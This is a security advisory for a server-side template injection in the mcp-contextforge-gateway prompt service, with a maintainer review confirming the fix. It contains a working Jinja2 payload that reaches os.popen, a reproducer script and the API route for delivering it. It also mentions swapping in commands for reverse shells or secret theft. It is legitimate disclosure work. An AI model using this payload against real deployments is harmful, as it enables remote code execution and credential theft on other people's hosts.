GHSA-vwf3-4xxj-qg6h

### Summary

`mcpgateway.services.prompt_service.PromptService` renders user-supplied prompt templates using Jinja2's plain `Environment()` rather than `SandboxedEnvironment`. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

### Details

**Affected component:** `mcpgateway/services/prompt_service.py` **Affected version:** `0.9.0` (verified). The fix in the unreleased `main` branch indicates all earlier published versions are likewise affected.

**Vulnerable code**

`mcpgateway/services/prompt_service.py`, line 26:

```python from jinja2 import Environment, meta, select_autoescape ```

`mcpgateway/services/prompt_service.py`, line 135 (inside `PromptService.__init__`):

```python self._jinja_env = Environment( autoescape=select_autoescape(["html", "xml"]), trim_blocks=True, lstrip_blocks=True, ) ```

`mcpgateway/services/prompt_service.py`, lines 1592–1616 (`_render_template`):

```python def _render_template(self, template: str, arguments: Dict[str, str]) -> str: ... try: jinja_template = self._jinja_env.from_string(template) return jinja_template.render(**arguments) except Exception: try: return template.format(**arguments) except Exception as e: raise PromptError(f"Failed to render template: {str(e)}") ```

`_render_template` is invoked from `PromptService.get_prompt` (line 892):

```python rendered = self._render_template(prompt.template, arguments) ```

Where `prompt.template` is loaded from the database. The `template` field of the database row is populated via the `register_prompt`, `update_prompt`, and `register_prompts_bulk` API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because `self._jinja_env` is a plain `jinja2.Environment` rather than `jinja2.sandbox.SandboxedEnvironment`, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to `__builtins__.__import__` and calls `os.popen` (or any equivalent chain) executes arbitrary code at render time.

### PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

**Setup**

```bash pip install mcp-contextforge-gateway==0.9.0 ```

**Reproducer (`poc.py`)**

```python import os import warnings

with warnings.catch_warnings(): warnings.simplefilter("ignore") from mcpgateway.services.prompt_service import PromptService

import mcpgateway print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt") if os.path.exists(PROOF): os.remove(PROOF)

service = PromptService() print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = ( "{{ self.__init__.__globals__.__builtins__" ".__import__('os').popen('echo MCPGATEWAY_RCE > " + PROOF.replace('\\', '/') + "').read() }}" )

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}") service._render_template(payload, {}) print(f"[+] PROOF exists after render: {os.path.exists(PROOF)}")

if os.path.exists(PROOF): with open(PROOF) as f: print(f"[+] PROOF contents: {f.read().strip()!r}") ```

**Verified output**

``` [+] mcpgateway version: 0.9.0 [+] PromptService._jinja_env type: Environment [+] PROOF exists before render: False [+] PROOF exists after render: True [+] PROOF contents: 'MCPGATEWAY_RCE' ```

The file `MCPGATEWAY_RCE_PROOF.txt` is written to disk by the embedded `os.popen` call, demonstrating arbitrary command execution in the gateway process. Replacing `echo MCPGATEWAY_RCE > ...` with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

**End-to-end via the API**

A full attack against a deployed gateway uses the same payload supplied as the `template` field to `POST /prompts` (or `PUT /prompts/{id}`). Once stored, the template fires every time the prompt is rendered via the gateway's MCP `prompts/get` flow.

### Impact

This is a Server-Side Template Injection vulnerability in a component (`PromptService`) that is exposed via the gateway's REST API. The attacker requirement is **authenticated API access with permission to register or update prompts** — a normal capability for users in the gateway's intended deployment model.

**Successful exploitation yields:**

- Arbitrary command execution on the gateway host with the gateway process's privileges - Read/write access to the gateway's filesystem - Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials) - Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints) - Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

**Affected user populations:**

- Any deployment running a published version of `mcp-contextforge-gateway` from PyPI - Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants - CI/CD pipelines that programmatically register prompt templates from untrusted sources - Deployments that import or sync prompt definitions from external registries

**Suggested remediation requests:**

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts 2. Publish the patched release to PyPI so `pip install --upgrade` returns a fixed version 3. Mark the relevant `CHANGELOG.md` entry as a security fix and add an upgrade-urgency note in `SECURITY.md` for users still on affected versions

---

## Maintainer review (accepted)

Reproduced and **accepted**. Findings from the maintainer's review:

**Confirmed valid (SSTI → RCE).** In `mcpgateway/services/prompt_service.py` as published in v0.9.0 (and all earlier releases), `_render_template()` runs `Environment().from_string(template).render(**args)` on a plain, unsandboxed `jinja2.Environment` (v0.9.0 line 27: `from jinja2 import Environment`). With no render-time sandbox, the `__builtins__.__import__('os').popen(...)` chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

**Reachable with attacker-controlled input.** The `template` field is persisted by the authenticated write paths — `POST /prompts` (`prompts.create`), prompt update (`prompts.update`), and bulk register — then rendered in `get_prompt()` → `_render_template()`. Any authenticated principal holding `prompts.create`/`prompts.update` reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

**Scope (set on this advisory):** affected `< 1.0.0` (0.1.0–0.9.0); patched `1.0.0`.

**Already fixed.** Migrated to `SandboxedEnvironment` in #4072 (commit `4d3100466`, 2026-04-24), shipped in v1.0.0. Current `main` (1.0.3) additionally prevents the `str.format()` fallback from re-opening the attribute path when the sandbox rejects an expression (a `jinja2.exceptions.SecurityError` no longer falls through to `.format()`).

**Correction to the report.** "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to `>= 1.0.0`.

**Audit.** Other `jinja2.Environment` usages in the codebase (`main.py`, `version.py`, `tools/builder`, email templates, `content_security.py`) render trusted on-disk templates via `FileSystemLoader` or are parse-only — none render user-supplied template strings. No second instance of this pattern.